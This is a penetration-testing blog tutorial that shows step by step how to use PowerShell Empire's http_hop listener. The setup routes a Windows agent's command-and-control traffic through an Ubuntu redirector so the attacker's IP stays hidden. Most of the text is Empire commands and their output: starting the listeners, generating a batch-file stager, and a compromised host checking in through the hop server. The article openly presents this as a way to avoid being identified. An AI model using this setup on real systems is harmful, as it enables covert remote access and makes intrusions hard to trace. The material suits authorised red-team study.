

Hiding IP During Pentest using PowerShell Empire (http_hop)

hackingarticles.in/hiding-ip-during-pentest-using-powershell-empire-http_hop

Raj

March 6, 2019

This is our fourth article in empire series, in this article we learn to use hop payload in PowerShell empire. Empire has an inbuilt listener named http_hop which allows us to redirect our traffic to one of our another active listener after getting an agent. Thus, the name hop as it hops the agent from one listener to another in order to redirect traffic.

Similar to Metasploit, the hop listener in empire uses a hop.php file. When you activate the hop listener, it will generate three PHP files that will redirect your existing listener. Place the said files in your jump server (ubuntu) and then set up your stager in according to get the session through the mediator i.e. our hop listener.

In the following image, you can see our Kali's IP. Now, we will try and take windows session via ubuntu using http_hop payload, in order to hide our own IP, i.e. basically, our http_hop payload will help us (attacker) to hide from the getting caught.

```
root@kali:~/Empire# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.107 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::20c:29ff:fe9d:1e3c prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:9d:1e:3c txqueuelen 1000 (Ethernet)
    RX packets 173570 bytes 237868878 (226.8 MiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 80779 bytes 5509525 (5.2 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 20 bytes 1116 (1.0 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 20 bytes 1116 (1.0 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Here, in the following image, you can see our ubuntu's IP too.

```

root@ubuntu:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:1d:44:aa
          inet addr:192.168.1.111  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe1d:44aa/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:5082 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4351 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:5895325 (5.8 MB)  TX bytes:482523 (482.5 KB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128  Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:302 errors:0 dropped:0 overruns:0 frame:0
          TX packets:302 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:27489 (27.4 KB)  TX bytes:27489 (27.4 KB)

```

Now, let's get started. First, we should have a simple http listener, for that type :

```

uselistener http
execute

```

```

(Empire: listeners) > uselistener http ↩
(Empire: listeners/http) > execute
[*] Starting listener 'http'
* Serving Flask app "http" (lazy loading)
* Environment: production
  WARNING: Do not use the development server in a production environment.
  Use a production WSGI server instead.
* Debug mode: off
[+] Listener successfully started!

```

Now, start the http_hop listener by typing :

```

uselistener http_hop
set RedirectListener http
set Host http://192.168.1.111

```

Here, we have given RedirectListener i.e. all the traffic from http listener will be directed to the http_hop listener.

```

(Empire: listeners) > uselistener http_hop ↩
(Empire: listeners/http_hop) > set RedirectListener http ↩
(Empire: listeners/http_hop) > set Host http://192.168.1.111 ↩
(Empire: listeners/http_hop) > execute
[*] Starting listener 'http_hop'
[*] Hop redirector written to /tmp/http_hop//admin/get.php . Place this file on the redirect server.
[*] Hop redirector written to /tmp/http_hop//news.php . Place this file on the redirect server.
[*] Hop redirector written to /tmp/http_hop//login/process.php . Place this file on the redirect server.
[+] Listener successfully started!
(Empire: listeners/http_hop) > █

```

Executing the above listener will create three files as you can see that in the image above. Transfer these files to /var/www/html location of your Ubuntu as shown in the image below :

```

root@ubuntu:/var/www/html# ls -al
total 20
drwxr-xr-x 4 root root 4096 Mar  6 07:11 .
drwxr-xr-x 3 root root 4096 Oct 13 08:10 ..
drwxr-xr-x 2 root root 4096 Mar  4 09:30 admin
drwxr-xr-x 2 root root 4096 Mar  4 09:30 login
-rw-r--r-- 1 root root 2199 Mar  4 09:30 news.php
root@ubuntu:/var/www/html#

```

Now, you can see in the image below we have activated two listeners :

```

(Empire) > listeners

[*] Active listeners:

  Name      Module      Host              Delay/Jitter  KillDate
  ----      -
  http_hop  http_hop    http://192.168.1.111:80  n/a          n/a
  http      http        http://192.168.1.107:80  5/0.0

```

Let's start our stager by typing the following commands :

```

usestager windows/launcher_bat
set Listener http_hop
execute

```

```

(Empire: listeners) > usestager windows/launcher_bat ↵
(Empire: stager/windows/launcher_bat) > set Listener http_hop ↵
(Empire: stager/windows/launcher_bat) > execute ↵

[*] Stager output written out to: /tmp/launcher.bat ↵

(Empire: stager/windows/launcher_bat) >

```

Once our bat file is executed in the target PC, we will have our session. Now, if you observe the IP through which we have obtained the session is of Ubuntu and not of windows but we have the access of a Windows PC, similarly, in windows, it will show that the attacking machine is Ubuntu and not kali. Hence our http_hop is effective.

```

(Empire: stager/windows/launcher_bat) > [*] Sending POWERSHELL stager (stage 1) to 192.168.1.111
[*] New agent 9XR58Z6B checked in
[+] Initial agent 9XR58Z6B from 192.168.1.111 now active (Slack)
[*] Sending agent (stage 2) to 9XR58Z6B at 192.168.1.111

(Empire: stager/windows/launcher_bat) > interact 9XR58Z6B ↩
(Empire: 9XR58Z6B) > sysinfo
[*] Tasked 9XR58Z6B to run TASK_SYSINFO
[*] Agent 9XR58Z6B tasked with task ID 1
(Empire: 9XR58Z6B) > sysinfo: 0|http://192.168.1.111:80|DESKTOP-NQM64AS|raj|DESKTOP-NQM64AS|192.168.1.111|b842|Microsoft Windows 10 Enterprise|False|powershell|4136|powershell|5
[*] Agent 9XR58Z6B returned results.
Listener: http://192.168.1.111:80
Internal IP: 192.168.10.1 fe80::90d0:4c4b:d967:4626 192.168.232.1 fe80::e826:8249:4ee0:1ee6 192.168.1.111
Username: DESKTOP-NQM64AS\raj
Hostname: DESKTOP-NQM64AS
OS: Microsoft Windows 10 Enterprise
High Integrity: 0
Process Name: powershell
Process ID: 4136
Language: powershell
Language Version: 5

[*] Valid results returned by 192.168.1.111

```

In conclusion, the major advantage of the http_hop listener is that it helps an attacker from being identified as on the target PC, as the said listener hides the original IP.

Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact [here](#)